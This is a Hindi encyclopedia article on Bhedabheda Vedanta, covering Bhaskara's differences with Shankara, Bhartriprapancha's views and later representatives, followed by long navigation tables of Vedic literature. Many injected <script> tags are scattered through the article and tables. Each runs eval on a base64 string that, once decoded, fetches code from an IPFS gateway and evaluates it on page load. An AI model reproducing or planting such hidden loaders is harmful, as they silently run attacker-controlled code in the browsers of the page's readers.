भेदाभेद वेदांत, हिन्दू दर्शनशास्त्र की पारंपरिक प्रणाली की महत्त्वपूर्ण शाखा है। 'भेदाभेद' संस्कृत शब्द है, जिसका अर्थ है 'पहचान' या 'अन्तर'। भास्कर इसके प्रमुख लेखक थे, जो संभवतः 'अद्वैत मत' के महान् विचारक शंकर के युवा समकालीन थे। भास्कर के दर्शनशास्त्र का मुख्य आधार उनका यह मत था कि विशेष रूप से कर्मकांड संबंधित धार्मिक कर्म और ज्ञान एक दूसरे से अलग नहीं हैं, बल्कि एक दूसरे को बल प्रदान करते हैं।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
मतभेद
भास्कर के विपरीत शंकर का मानना था कि अंततः इच्छित कर्मों से पूरी तरह पीछे हटना और उनका संपूर्ण त्याग मोक्ष प्राप्ति के लिए आवश्यक है। इस मत के विरोध में भास्कर ने कर्म तथा ज्ञान के संचयी प्रभाव के सिद्धांत[1] को उचित ठहराया और कहा कि- "किसी व्यक्ति को अपने दायित्व पूरा करने के सक्रिय जीवन के बाद ही त्याग करना चाहिए। ब्रह्म (संपूर्ण) और विश्व के बीच संबंध के महत्त्वपूर्ण विषय पर भास्कर ने सिखाया कि दोनों समतुल्य हैं। उन्होंने कहा कि यदि ब्रह्म विश्व के मुख्य या भौतिक कारण हैं, तो विश्व भी वास्तविक के सिवाय और कुछ नहीं हो सकता।[2]
भतभेद तब उत्पन्न होते हैं, जब ब्रह्म पर कुछ सीमित गुण अध्यारोपित किए जाते हैं। भास्कर के सिद्धांत को कभी व्यापक मान्यता नहीं मिली, क्योंकि शंकर पहले ही अपना दृष्टिकोण रख चुके थे, जिसका तत्काल प्रभाव हुआ था। फिर भी भास्कर का कर्म महत्त्वपूर्ण बना रहा, क्योंकि यह धर्म पर ब्राह्मण वर्ग के विचारों को लिपिबद्ध करता है। धर्म अर्थात् वर्ग व व्यक्ति के वे कर्तव्य, जो विश्व का संतुलन बनाए रखते हैं और अच्छे समाज का निर्माण करते हैं। भास्कर के मतानुसार, अंततः संसार को माया समझने का सिद्धांत इस धर्म की वैधता को चुनौती देता है, और किसी भी हालत में संसार को त्यागने का प्रस्ताव धर्म के पालन में बाधक बनता है।
भेदाभेद सिद्धांत का समर्थन
लोकोत्तर और सर्वव्यापित (भेदाभेद) एक ओर अभिन्नता तथा संसार व ससीम व्यक्ति के बीच के अंतर पर और दूसरी ओर ब्रह्म पर बल देते हैं। विश्व और ससीम व्यक्ति वास्तविक हैं और फिर भी दोनों ब्रह्म से अलग हैं भी और नहीं भी। शंकर से पूर्ण वेदांत सूत्रों के टिप्पणीकारों में से भर्तृप्रपंच ने भेदाभेद के सिद्धांत का समर्थन किया और भास्कर (लगभग 9 वीं शताब्दी) ने काफ़ी हद तक उनका अनुसरण किया। भर्तृप्रपंच की टिप्पणी आज उपलब्ध नहीं है; इस बारे में जानकारी का एकमात्र स्त्रोत बृहदारण्यक उपनिषद पर शंकर की टिप्पणी में उनका उल्लेख है, जिसके अनुसार भर्तृप्रपंच ने कहा है कि यद्यपि ब्रह्म कारण के रूप में कार्यरूपी ब्रह्म से अलग है, दोनों समरूप हैं, क्योंकि कार्य कारण में उसी प्रकार विलीन हो जाता है, जैसे लहरें समुद्र में लौट आती हैं। भास्कर ने ब्रह्म को संसार का मूल और कर्ता, दोनों ही माना है। उन्होंने माया का सिद्धांत अस्वीकृत कर दिया। उनके अनुसार ब्रह्म अपनी शक्ति से स्वयं को परिवर्द्धित करता है। जिस प्रकार लहरें समुद्र से अलग और उसका समरूप, दोनों हैं, उसी तरह ब्रह्म के साथ विश्व और ससीम व्यक्तियों का संबंध है। ससीम व्यक्ति ब्रह्म का अंग है। ठीक उसी प्रकार जैसे चिंगारियाँ अग्नि का ही अंग होती है, लेकिन ससीम आत्माएं अनादि काल से अज्ञान के प्रभाव में हैं। वे अपने विस्तरण में आणविक हैं और फिर भी सारे शरीर को अनुप्राणित करती हैं।[2]
आत्म-परिवर्द्धन की शक्तियाँ
भास्कर ने भौतिक विश्व और ससीम स्वरूप के अपने दृष्टिकोण के अनुरूप ईश्वर को आत्म-परिवर्द्धन की दो शक्तियों का श्रेय दिया। ज्ञान के अपने सिद्धांत में उन्होंने सदा व्याप्त आत्म-चेतना और वस्तुनिष्ठ ज्ञान, जो उपयुक्त नैमित्तिक परिस्थितियों में निष्क्रिय तौर पर उत्पन्न होता है, किंतु स्वयं में एक क्रिया नहीं हैं, के बीच विभेद किया। इस प्रकार उनके लिए मस्तिष्क इंद्रिय है। उन्होंने वेदांत के इस सामान्य सिद्धांत का समर्थन किया कि ज्ञान मूलरूप से सत्य होता है और असत्यता इसके लिए बाहरी है। अपनी नीति विषयक स्थापनाओं में उन्होंने धार्मिक कर्तव्यों को जीवन के सभी चरणों में बाध्य माना। उन्होंने जन्म-कर्मसमुच्चय-वाद के सिद्धांत का समर्थन किया, जिसके अनुसार, ब्रह्म के ज्ञान के साथ कर्तव्यों के पालन से मोक्ष प्राप्ति होती है। धार्मिक जीवन में वह भक्ति के प्रबल समर्थक थे, लेकिन उनके लिए भक्ति ईश्वर के लिए मात्र प्रेम भावना नहीं, अपितु ध्यान है, जिससे श्रेष्ठ ब्रह्म की प्राप्ति होती है, जो अपने विविध रूप-धारण में क्षरित नहीं हुआ है। आगे भास्कर ने शरीर में रहकर मोक्ष की संभावना से इनकार किया, अर्थात् वह अवस्था, जब व्यक्ति रस्मी तौर पर जीवित होता है।
प्रतिनिधि
यह कहा जा सकता है कि 'भेदाभेद' दृष्टिकोण अन्य दार्शनिक और धर्मशास्त्रीय क्षेत्रों में भी विद्यमान है और उनमें अलग-अलग श्रेणियों में कुछ न कुछ जोड़ा गया है। विज्ञानमिक्षु, निम्बार्क, वल्लभ और चैतन्य इसके कुछ प्रतिनिधि उदाहरण माने जा सकते हैं। इनके अतिरिक्त रामानुज (11 वीं शताब्दी) ने आस्तिक धर्म का उपनिषदों के संपूर्ण एकत्ववाद[3] की लंबी परंपरा से मिश्रण का प्रयोग किया। यह एक ऐसा कार्य था, जो इससे पहले केवल 'भगवद्गीता' जैसी आधिकारिक कृति में ही किया गया था। उन्होंने अपनी सामान्य दार्शनिक अवस्थिति में वृत्तिकार बोधायन, वाक्याकार[4], नाथमुनि (1000 ई.) और उनके अपने गुरु के गुरु यामुनाचार्य (1050 ई.) का अनुसरण किया।[2]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ जन्म-कर्म समुच्चय
- ↑ 2.0 2.1 2.2
भारत ज्ञानकोश, खण्ड-4 |लेखक: इंदु रामचंदानी |प्रकाशक: एंसाइक्लोपीडिया ब्रिटैनिका प्राइवेट लिमिटेड, नई दिल्ली और पॉप्युलर प्रकाशन, मुम्बई |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 237 |
- ↑ जिसे संपूर्ण नहीं मानते थे
- ↑ जिनका वह संदर्भ देते हैं, लेकिन जिनकी पहचान इसके अलावा स्थापित नहीं होती कि उन्होंने ब्रह्म के वास्तविक परिवर्द्ध के सिद्धांत की हामी भरी
संबंधित लेख
श्रुतियाँ
उपवेद और वेदांग |
---|
| उपवेद |
|
कामन्दक सूत्र · कौटिल्य अर्थशास्त्र · चाणक्य सूत्र · नीतिवाक्यमृतसूत्र · बृहस्पतेय अर्थाधिकारकम् · शुक्रनीति | | |
मुक्ति कल्पतरू · वृद्ध शारंगधर · वैशम्पायन नीति-प्रकाशिका · समरांगण सूत्रधार · अध्वर्यु | | | | | |
अग्निग्रहसूत्रराज · अश्विनीकुमार संहिता · अष्टांगहृदय · इन्द्रसूत्र · चरक संहिता · जाबालिसूत्र · दाल्भ्य सूत्र · देवल सूत्र · धन्वन्तरि सूत्र · धातुवेद · ब्रह्मन संहिता · भेल संहिता · मानसूत्र · शब्द कौतूहल · सुश्रुत संहिता · सूप सूत्र · सौवारि सूत्र |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | वेदांग |
कल्प | | | शिक्षा |
गौतमी शिक्षा (सामवेद) · नारदीय शिक्षा· पाणिनीय शिक्षा (ऋग्वेद) · बाह्य शिक्षा (कृष्ण यजुर्वेद) · माण्ड्की शिक्षा (अथर्ववेद) · याज्ञवल्क्य शिक्षा (शुक्ल यजुर्वेद) · लोमशीय शिक्षा | | व्याकरण |
कल्प व्याकरण · कामधेनु व्याकरण · पाणिनि व्याकरण · प्रकृति प्रकाश · प्रकृति व्याकरण · मुग्धबोध व्याकरण · शाक्टायन व्याकरण · सारस्वत व्याकरण · हेमचन्द्र व्याकरण | | निरुक्त्त |
मुक्ति कल्पतरू · वृद्ध शारंगधर · वैशम्पायन नीति-प्रकाशिका · समरांगण सूत्रधार | | छन्द |
गार्ग्यप्रोक्त उपनिदान सूत्र · छन्द मंजरी · छन्दसूत्र · छन्दोविचित छन्द सूत्र · छन्दोऽनुक्रमणी · छलापुध वृत्ति · जयदेव छन्द · जानाश्रमां छन्दोविचित · वृत्तरत्नाकर · वेंकटमाधव छन्दोऽनुक्रमणी · श्रुतवेक | | ज्योतिष |
आर्यभटीय ज्योतिष · नारदीय ज्योतिष · पराशर ज्योतिष · ब्रह्मगुप्त ज्योतिष · भास्कराचार्य ज्योतिष · वराहमिहिर ज्योतिष · वासिष्ठ ज्योतिष · वेदांग ज्योतिष |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
|
उपनिषद | | ॠग्वेदीय उपनिषद | | | यजुर्वेदीय उपनिषद |
शुक्ल यजुर्वेदीय | | | कृष्ण यजुर्वेदीय | |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | सामवेदीय उपनिषद | | | अथर्ववेदीय उपनिषद | | | | | ॠग्वेदीय ब्राह्मण ग्रन्थ | | | यजुर्वेदीय ब्राह्मण ग्रन्थ |
शुक्ल यजुर्वेदीय | | | कृष्ण यजुर्वेदीय | |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | सामवेदीय ब्राह्मण ग्रन्थ | | | अथर्ववेदीय ब्राह्मण ग्रन्थ | | |
सूत्र-ग्रन्थ | | ॠग्वेदीय सूत्र-ग्रन्थ | | | यजुर्वेदीय सूत्र-ग्रन्थ |
शुक्ल यजुर्वेदीय | | | कृष्ण यजुर्वेदीय | |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | सामवेदीय सूत्र-ग्रन्थ |
मसकसूत्र · लाट्यायन सूत्र · खदिर श्रौतसूत्र · जैमिनीय गृह्यसूत्र · गोभिल गृह्यसूत्र · खदिर गृह्यसूत्र · गौतम धर्मसूत्र · द्राह्यायण गृह्यसूत्र · द्राह्यायण धर्मसूत्र | | अथर्ववेदीय सूत्र-ग्रन्थ | |
|
शाखा | | शाखा |
शाकल ॠग्वेदीय शाखा · काण्व शुक्ल यजुर्वेदीय · माध्यन्दिन शुक्ल यजुर्वेदीय · तैत्तिरीय कृष्ण यजुर्वेदीय · मैत्रायणी कृष्ण यजुर्वेदीय · कठ कृष्ण यजुर्वेदीय · कपिष्ठल कृष्ण यजुर्वेदीय · श्वेताश्वतर कृष्ण यजुर्वेदीय · कौथुमी सामवेदीय शाखा · जैमिनीय सामवेदीय शाखा · राणायनीय सामवेदीय शाखा · पैप्पलाद अथर्ववेदीय शाखा · शौनकीय अथर्ववेदीय शाखा | | मन्त्र-संहिता |
ॠग्वेद मन्त्र-संहिता · शुक्ल यजुर्वेद मन्त्र- संहिता · सामवेद मन्त्र-संहिता · अथर्ववेद मन्त्र-संहिता | | आरण्यक | | |
प्रातिसाख्य एवं अनुक्रमणिका | | ॠग्वेदीय प्रातिसाख्य |
शांखायन प्रातिशाख्य · बृहद प्रातिशाख्य · आर्षानुक्रमणिका · आश्वलायन प्रातिशाख्य · छन्दोनुक्रमणिका · ऋग्प्रातिशाख्य · देवतानुक्रमणिका · सर्वानुक्रमणिका · अनुवाकानुक्रमणिका · बृहद्वातानुक्रमणिका · ऋग् विज्ञान | | यजुर्वेदीय प्रातिसाख्य |
शुक्ल यजुर्वेदीय |
कात्यायन शुल्वसूत्र · कात्यायनुक्रमणिका · वाजसनेयि प्रातिशाख्य | | कृष्ण यजुर्वेदीय |
तैत्तिरीय प्रातिशाख्य |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | सामवेदीय प्रातिसाख्य |
शौनकीया चतुर्ध्यापिका |
|
|
स्मृति साहित्य |
---|
| स्मृतिग्रन्थ | | | पुराण | | | महाकाव्य | | | दर्शन | | | निबन्ध |
जीमूतवाहन कृत : दयाभाग · कालविवेक · व्यवहार मातृका · अनिरुद्ध कृत : पितृदायिता · हारलता · बल्लालसेन कृत :आचारसागर · प्रतिष्ठासागर · अद्भुतसागर · श्रीधर उपाध्याय कृत : कालमाधव · दत्तकमीमांसा · पराशरमाधव · गोत्र-प्रवर निर्णय · मुहूर्तमाधव · स्मृतिसंग्रह · व्रात्यस्तोम-पद्धति · नन्दपण्डित कृत : श्राद्ध-कल्पलता · शुद्धि-चन्द्रिका · तत्त्वमुक्तावली · दत्तक मीमांसा · · नारायणभटट कृत : त्रिस्थली-सेतु · अन्त्येष्टि-पद्धति · प्रयोग रत्नाकर · कमलाकर भट्ट कृत: निर्णयसिन्धु · शूद्रकमलाकर · दानकमलाकर · पूर्तकमलाकर · वेदरत्न · प्रायश्चित्तरत्न · विवाद ताण्डव · काशीनाथ उपाध्याय कृत : धर्मसिन्धु · निर्णयामृत · पुरुषार्थ-चिन्तामणि · शूलपाणि कृत : स्मृति-विवेक (अपूर्ण) · रघुनन्दन कृत : स्मृति-तत्त्व · चण्डेश्वर कृत : स्मृति-रत्नाकर · वाचस्पति मिश्र : विवाद-चिन्तामणि · देवण भटट कृत : स्मृति-चन्द्रिका · हेमाद्रि कृत : चतुर्वर्ग-चिन्तामणि · नीलकण्डभटट कृत : भगवन्त भास्कर · मित्रमिश्र कृत: वीर-मित्रोदय · लक्ष्मीधर कृत : कृत्य-कल्पतरु · जगन्नाथ तर्कपंचानन कृत : विवादार्णव | | आगम |
वैष्णवागम |
अहिर्बुध्न्य-संहिता · ईश्वर-संहिता · कपिलाजंलि-संहिता · जयाख्य-संहिता · पद्मतंत्र-संहिता · पाराशर-संहिता · बृहद्ब्रह्म-संहिता · भरद्वाज-संहिता · लक्ष्मी-संहिता · विष्णुतिलक-संहिता · विष्णु-संहिता · श्रीप्रश्न-संहिता · सात्त्वत-संहिता | | शैवागम |
तत्त्वत्रय · तत्त्वप्रकाशिका · तत्त्वसंग्रह · तात्पर्य संग्रह · नरेश्वर परीक्षा · नादकारिका · परमोक्ष-निराशकारिका · पाशुपत सूत्र · भोगकारिका · मोक्षकारिका · रत्नत्रय · श्रुतिसूक्तिमाला · सूत-संहिता | | शाक्तागम |
वामागम |
अद्वैतभावोपनिषद · अरुणोपनिषद · कालिकोपनिषद · कौलोपनिषद · तारोपनिषद · त्रिपुरोपनिषद · ब्रहिचोपनिषद · भावनोपनिषद | | मिश्रमार्ग |
कलानिधि · कुलार्णव · कुलेश्वरी · चन्द्रक · ज्योत्स्रावती · दुर्वासस · बार्हस्पत्य · भुवनेश्वरी | | समयाचार |
वसिष्ठसंहिता · शुक्रसंहिता · सनकसंहिता · सनत्कुमारसंहिता · सनन्दनसंहिता | | तान्त्रिक साधना |
कालीविलास · कुलार्णव · कूल-चूड़ामणि · ज्ञानार्णव · तन्त्रराज · त्रिपुरा-रहस्य · दक्षिणामूर्ति-संहिता · नामकेश्वर · प्रपंचसार · मन्त्र-महार्णव · महानिर्वाण · रुद्रयामल · शक्तिसंगम-तन्त्र · शारदा-तिलक |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>